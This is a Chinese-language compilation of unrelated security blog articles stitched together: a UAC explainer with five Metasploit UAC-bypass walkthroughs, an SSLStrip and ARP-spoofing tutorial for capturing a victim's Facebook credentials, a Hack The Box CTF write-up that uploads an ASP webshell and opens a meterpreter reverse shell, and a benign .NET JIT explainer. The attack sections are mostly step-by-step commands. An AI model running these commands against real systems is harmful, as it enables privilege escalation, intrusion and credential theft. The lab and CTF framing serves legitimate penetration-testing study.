大家好,今天,我们将浅析用户帐户控制(简称UAC)。我们还将了解它如何保护你免受恶意软件的入侵,如若忽略UAC提示,可能会对你的系统造成不良影响。

目录

· UAC简介

· UAC是什么

· UAC工作原理

5种绕过UAC的方法

1.Windows升级UAC保护绕过

2.Windows升级UAC保护绕过(内存注入绕过)

3.Windows UAC保护绕过(FodHelper注册表键值绕过)

4.Windows升级UAC保护绕过(Eventvwr注册表键值绕过)

5.Windows升级UAC保护绕过(COM Handler劫持绕过)

用户账户控制(UAC)介绍

什么是用户账户控制?

在Microsoft Windows Vista和Windows Server 2008操作系统中引入了结构良好的用户帐户控制,因为不必要的系统范围的更改是难以避免的,而UAC策略可以防止这种更改,并且只需要很少的工作量。

换句话说,它是Windows的一项安全功能,它可以让我来防止对操作系统进行未经授权的修改。UAC确保某些修改只能在administrator授权下才能进行。如果administrator不允许更改,则不会执行这些更改,Windows保持不变。

UAC工作原理?

UAC阻止程序执行涉及系统更改/特定任务的任何任务。除非尝试执行它们的进程以管理员权限运行,否则这些操作将无法运行。如果以管理员身份运行程序,它会具有更多权限,因为与未以管理员身份运行的程序相比,它的权限得到了提升。

没有管理员权限就无法完成的一些事情:

· 注册表修改(如果注册表项在HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)

· 加载设备驱动程序

· DLL注入

· 修改系统时间(时钟)

· 修改用户帐户控制设置(通过注册表,可以启用/禁用它,但你需要正确的权限才能执行此操作)

· 修改受保护的目录(例如Windows文件夹,Program Files)

· 计划任务(例如,以管理员权限自动启动)

UAC不会自动阻止恶意软件,目的并不是判断程序是否是恶意软件。是不是恶意软件还是得取决于用户。如果要以管理员权限执行程序,UAC将提醒用户并且需要用户进行确认。

另请阅读:UAC的重要性及如何保护你的安全

绕过UAC的5中方法

首先对目标机器进行漏洞利用以获取meterpreter会话。获得meterpreter会话1后,输入以下命令以检查系统权限和特权。

getsystem
getuid

如果你没有系统/管理员权限,那么你就需要绕过目标系统的UAC保护。

Windows升级UAC保护绕过

此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从下图可以看到,又建立了一个meterpreter会话2连接,现在输入getsystem和getuid两条命令来查看系统权限:

1.png

太好了,我们获得了NT AUTHORITY\SYSTEM权限。现在你只要输入shell命令,你就会进入一个具有管理员权限的命令行窗口。

Windows升级UAC保护绕过(内存注入)

此模块将通过进程注入利用受信任的发布者证书绕过Windows UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块使用反射DLL注入技术仅删除DLLpayload二进制文件而不是删除标准技术中的三个单独的二进制文件。但是,它需要选择正确的体系结构(对于SYSWOW64系统也使用x64)。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

从下图中可以看出,meterpreter 会话2已经成功打开,现在输入getsystem和getuid两条命令来查看权限。

2.png

最终,你也会拿到NT AUTHORITY\SYSTEM权限,现在只需要输入shell命令,就可以进入一个具有管理员权限的命令行窗口。

Windows升级UAC保护绕过(FodHelper注册表键值绕过)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块修改注册表项,但在调用payload后清除该项。该模块不要求payload的结构与OS匹配。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

从下图中,可以看到,meterpreter会话2已经成功打开,输入getsystem和getuid两条命令来查看权限

3.png

非常不错,我们获得了NT AUTHORITY\SYSTEM权限,输入shell命令,就能拿到管理员的命令行窗口了。

Windows升级UAC保护绕过(Eventvwr注册表键值绕过)

此模块将通过在当前用户配置单元下劫持注册表中的特殊键并插入自定义命令,这个命令将在启动Windows fodhelper.exe应用程序时调用来绕过Windows 10 UAC。这将产生第二个shell,而且UAC保护已经关闭。此模块修改注册表项,但在调用payload后清除该项。该模块不要求payload的结构与OS匹配。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。

执行命令如下:

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

从下图中,可以看到,meterpreter会话2已经上线,输入getsystem和getuid两条命令来查看是否是system权限。

4.png

再一次,我们获取了NT AUTHORITY\SYSTEM权限。

Windows升级UAC保护绕过(COM Handler劫持绕过)

此模块将通过在HKCU配置单元中创建COM处理程序注册表项来绕过Windows UAC。加载某些高完整性进程时,会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL包含导致会话升级的payload。在payload调用后清除注册表项修改。此模块要求payload的体系结构与OS匹配,但当前的低权限Meterpreter会话的体系结构并不相同。如果指定EXE :: Custom,你的DLL应该在单独的进程中启动payload后调用ExitProcess()。此模块通过目标上的cmd.exe调用目标二进制文件。因此,如果限制cmd.exe访问,则此模块将无法正常运行。

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

如下图所示,meterpreter会话2已经建立连接,输入getsystem和getuid两条命令来查看是否是system权限。

5.png

最终,还是得到了NT AUTHORITY\SYSTEM权限,同理,输入shell获取管理员权限的命令窗口。如此一来,我们便借助了metasploit 后渗透漏洞利用来绕过UAC保护了。

利用SSLStrip发起中间人攻击可以透明地劫持网络中的http流量,查找HTTPS链接并重定向,然后将这些链接映射到类似的HTTP链接中或者同形的HTTPS链接。

它还支持提供类似锁定图标,选择性日志记录和拒绝会话的模式。

step1

首先我们将设备设置为转发模式,这样我们的设备就可以转发目标不是我们设备的数据包。

echo 1>/proc/sys/net/ipv4/ip_forward

step2

还需要设置iptables,将流量从80端口重定向到8080端口,确保出站连接发送到sslstrip中。

iptables -t nat -A PREROUTING -p tcp --destination-port 80 -j REDIRECT --to-port 8080

step3

需要找到我们的网关

route -n

前三步如图所示

2.jpg

step4

接下来我们需要找到目标主机的IP地址

3.jpg 

step5

攻击者利用ARP欺骗技术将虚假的ARP消息发送到局域网中。

arpspoof -i -t

4.jpg

step6

现在我们打开一个新的终端并监听8080端口,命令如下

sslstrip -l 8080

5.jpg

step7

现在我们转到受害主机中,并且在浏览器中输入facebook.com,我们知道Facebook本来是使用的HTTPS协议,但是这里我们看到与Facebook是通过http建立的连接。

6.jpg

step8

现在,返回到家目录,查看sslstrip.log日志文件,我们可以看到受害者登录时输入的用户名和密码,如图:

7.jpg

就是这么easy,我们就拿到了受害者的凭证。

更多kali Linux教程,请参考:

· Lynis—开源安全审计工具详解

· sqlmap-检测和利用SQL注入详解

· HPING3—网络扫描器-包生成器

今天,我们的CTF靶机是bounty。这个靶机来自hack the box漏洞实验室。他们有很多的ctf靶机,渗透测试人员可以进行在线测试,从初级水平到专业级别的靶机都有。

我们这个靶机的等级属于中级。靶机的任务是找到user.txt和root.txt文件。

注意:因为这些实验都可以进行在线测试,所以他们都有一个静态IP,Bounty靶机的IP是10.10.10.93。

通关攻略

首先,肯定是扫描神器Nmap开路,用基本的nmap命令来探测开放的端口和服务:

nmap -A 10.10.10.93

1.png

从扫描结果可以看到开启了80端口,运行的服务是IIS7.5.

我们来访问一下80端口,在浏览器地址栏中输入IP地址后,我们可以看到下面这个页面:

2.png

页面只有一个图片,并没有什么有价值的信息,接着我们使用Dirbuster工具来进行目录遍历,如图

3.png

这里我们使用的字典是directory-list-2.3-medium.txt来进行web目录遍历。

不出所料,很快就有了响应,可以看到存在transfer.aspx文件和uploadedFiles目录,如图:

4.png

OK,我们在浏览器中访问一下transfer.aspx这个文件,于是我们得到了一个新的页面,这个页面可以进行文件上传,如图:

5.png

我们尝试了很多次进行上传文件,但是每次都上传失败,并且提示:invalid file please try again(上传文件无效,请重新尝试),如图所示:

6.png

尝试了多次并且失败后,我便去Google查找了一番,搜索“IIS 7.5 rce upload”,发现了一篇文章,在这篇文章中,我们了解到了web.config文件,它在IIS7.0(或更高版本中)存储着非常重要的配置信息,跟Apache服务器的.htaccess文件非常类似。上传.htaccess文件来绕过文件上传的防御是一种常用的套路。

7.png

读了上面的文章后,我们写了一段简单的asp代码并将代码插入web.config文件的后面,这段代码的意思是返回1+2的值,如图:

8.png

现在我们再来上传这个web.config文件,可以看到web.config文件已经成功上传,刚才目录遍历出来一个uploadedFiles目录,我们可以猜想上传的文件就在这个目录下,我们可以验证一下,如图:

9.png

访问该目录下的web.config文件,得以执行,返回结果3,如图:

10.png

既然可以执行,那么我们就可以在这个文件中注入恶意代码来实现RCE漏洞。

在网上找了一番,找到了ASP的webshell,网址是https://raw.githubusercontent.com/tennc/webshell/master/asp/webshell.asp

把这个ASP webshell的整个内容复制到web.config文件中,然后上传,如图:

11.png

上传的web.config文件执行之后,就会创建一个表单,在这个表单中输入命令就可以实现远程命令执行了,如图所示:

12.png

不过,这里我们将执行metasploit的web delivery模块生成的powershell代码,利用过程如下:

msf use exploit/multi/script/web_delivery
msf exploit(multi/script/web_delivery) set srvhost 10.10.14.2
msf exploit(multi/script/web_delivery) set target 2
msf exploit(multi/script/web_delivery) set payload window/x64/meterpreter/reverse_tcp
msf exploit(multi/script/web_delivery) set lhost 10.10.14.2
msf exploit(multi/script/web_delivery) run

执行之后我们就可以得到一个meterpreter会话了,如图所示:

13.png

非常棒,既然获得了受害主机的meterpreter会话,那我们就可以查看user.txt来完成第一个任务了。

最终,我们在/users/merlin/Desktop目录中找到了user.txt文件,如图:

14.png 

下一步就是要找到root.txt文件了,不过要查看这个文件,通常需要进行提权。

这里我们可以利用后渗透利用模块“Multi Recon Local Exploit Suggester”,这个模块会告诉我们可以进一步渗透攻击的meterpreter exp。这些exp是基于目标主机的架构和使用平台推荐的本地可用的exp。执行下列命令:

use post/multi/recon/local_exploit_suggester
msf post(multi/recon/local_exploit_suggester) > set session 1
msf post(multi/recon/local_exploit_suggester) > exploit

结果如图:

15.png

非常不错,这个脚本非常有用,显示了目标主机存在的漏洞和相对应的exp。接下来,我们就来试一下图中框起来的第一个exp。

这个漏洞是关于计划任务的,导致可以进行提权。这个利用模块已经在存在漏洞的Windows Vista Windows7和Windows server 2008 x64和x86上测试过了有效。利用起来也比较简单,只要进行如下设置即可:

use exploit/windows/local/ms10_092_schelevator
msf post(windows/local/ms10_092_schelevator) > set lhost  10.10.14.2
msf post(windows/local/ms10_092_schelevator) > set lport 5555
msf post(windows/local/ms10_092_schelevator) > set session 1
msf post(windows/local/ms10_092_schelevator) > exploit

如图:

16.png

执行之后就获得了另一个meterpreter会话,现在我们来看看提权的情况,执行下面两条命令:

getsystem
getuid

结果如图:

17.png

可以看到现在的系统用户是NTAUTHORITY\SYSTEM,已经是最高权限了,提权成功。

接下来就好说了,查看root.txt文件的内容,这个就没什么好说的了,自己找一下就OK,本次靶机root.txt文件就在Desktop上,如图:

18.png

好了,本次靶机到此结束,希望大家有所收获!

你知道JIT这个技术术语吗?JIT的全称是Just-In-Time,即时的意思。JIT编译器是执行JIT编译的工具,它是.NET应用程序的一个重要特性,今天我们来深入分析一下。

如何让托管应用程序可移植?

我们知道.NET Framework和CLR(通用语言运行库)为针对该平台的应用程序提供了很多有用的功能,比如自动内存管理。不过,提出托管运行时的一个主要目的就是实现应用的可移植。

那么应用程序是可移植的意味着什么呢?这意味着,首先,它可以在任何类型的硬件上运行。理想情况下,它也应该与软件无关(特别是与操作系统无关),例如微软创建的ans正在积极开发一个多平台的  .NET Core。

这种可移植性不仅使应用程序可以在任何硬件或软件平台上启动,而且还使开发人员不必关心底层的低级结构。例如,当使用TPL(任务并行库)时,程序员通常不需要考虑底层硬件(例如CPU的数量或体系结构)来修改代码。对于内存分配来说,它们是相同的,其中许多CTM(低级语言编程接口)细节根据操作系统的体系结构(32/64位)而有所不同,CLR对其进行处理。

但是,在某些时候,每个应用程序都需要由处理器执行,这需要有机器码,这样汇编指令才能理解并且能够由CPU执行。根据操作系统或CPU的体系架构,有时需要在汇编代码中使用完全不同的CPU指令集。为了使源代码真正可移植,不能直接编译为机器代码,我们还需要使用中间语言。

中间语言(IL)

由于上述原因,托管运行时的编程语言源代码(如C#,F#或Java)不会直接编译为汇编语言。而是,它首先被编译为中间语言(IL)。CLR的中间语言也称为MSIL(Microsoft中间语言)。

将源代码编译为IL中是由特定的语言编译器执行的。这个过程是当你在Visual Studio构建应用时按F6或使用csc.exe进行编译时发生的。

源代码到IL的编译,由特定语言的编译器完成。例如,C#中由Roslyn编译,Roslyn是一个C#编译器,如图:

1.png

查看MSIL

为了查看已编译的EXE / DLL文件中包含的MSIL代码,你可以使用ILSpy Visual Studio扩展,安装这个扩展时,会在Visual Studio中添加一个菜单选项(tools – > ILSpy),你可以打开任何已编译的文件并查看包含对象的IL代码,如图:

2.png

实际上有哪些东西编译成IL代码呢?现在我们可以说,最重要东西就是methods(当然分为类,命名空间等)。还有许多其他的东西被编译(肯定比你预想的要多,通过查看源码你就知道了),但我们现在将重点关注methods。

好的,我们现在有了IL代码,但是CPU还是无法理解它。它是如何以及何时编译为汇编代码的?

JIT编译(即时编译)

丰田如何引入JIT?

我们先从一些历史背景开始说起。在20世纪60年代早期,由于仓储成本非常高,丰田的日本工程师不得不重新组织仓库管理。而且由于他们提前订购了大量零件,所以供应商交付也需要很长时间。每次交付都必须由人工去处理,因此他们需要很多员工。但是订购的零件会长期存放在仓库中,需要大量存储空间和并进行维护。

为了最大限度的降低成本,他们开创了即时制造(也称为丰田生产系统)。其主要原则是仅在仓库库存达到最低水平时才从供应商处订购货物。这样一来,货物是在生产线上正好需要它们的时间里交付的。它最大限度的减少了交付人员(和仓库员工)的数量,同时,也不像以前那样需要那么多的存储空间。

整个想法可以想象为以下流程顺序图:

3.jpg

JIT编译器

在丰田取得成功之后,CLR创建者在框架中引入了即时(JIT)编译器。它的作用是根据硬件和操作系统的特性(取决于对代码进行JIT编译的主机)将中间语言代码编译成汇编语言。与非托管语言不同,非托管语言在程序执行之前将源代码编译为机器语言,而IL默认情况下在运行时编译为CPU指令。这就是.NET工程师按时向CPU提供机器码的原理。

JIT编译器是CLR的一部分(类似于垃圾收集器)。简单来说,当某方法首次被调用时,JIT会编译该方法的源码。当然,它也会考虑到硬件,例如CPU类型及指令集来生成正确的汇编代码。然后,这个机器码就会保存在缓存中,并且在相同的应用程序运行,调用相同的方法时重新使用。这意味着在程序执行期间未调用的部分代码可能根本没有进行JIT编译。

JIT编译实际上是两种方法的结合:提前编译和解释,混合了两者的优点和缺点。但是,在运行时将IL代码编译为汇编语言时有几个特色功能,如动态类型(在程序执行时能够获取实际对象的类型)。这也是为什么JIT编译通常被视为动态编译的一种形式。

使用JIT编译的另一个优点是我们编写的源代码离硬件更远,因此代码可以编写的更具可读性和人性化,而与硬件交互的东西隐藏在IL中(不得不说,MSIL开发者确实厉害)

JIT编译也会有一些成本,在运行时编译代码需要时间。另一方面,不同的CPU单元具有不同的强大指令集或处理单元,这些指令集或处理单元会在由JIT生成的汇编代码中使用,而在提前编译中,则不是这种情况(没有任何特殊调整的情况下)。

我们还需要提前编译吗?

如果你真的不喜欢JIT编译(怎么会不喜欢?),有很多方法可以在应用程序执行之前预先编译你的EXE / DLL。这称为Pre-JIT编译。其中一个原因可能是许多用户将从相同的EXE / DLL文件运行我们的应用程序,JIT编译器通常会为每个用户对IL进行JIT编译。在这种情况下,出于性能和内存使用原因,使用预先JIT编译应用程序文件可能会更合适。可以使用NGen(适用于所有.NET版本)或.NET Native(适用于Windows 10的.NET应用程序)来完成。我们本文不会详细讲解这些工具(你可以在互联网上找到更多信息)。

总结

JIT编译是在运行时将中间语言(IL)编译为原生(机器)代码的过程。它提供了托管应用程序的可移植性。这是一个非常重要的概念,因为它已经在许多当前使用的编程框架中引入,如Java,.NET和Android。

最后,请记住:

4.jpg

华盛顿曾经说过,不要相信互联网上的一切!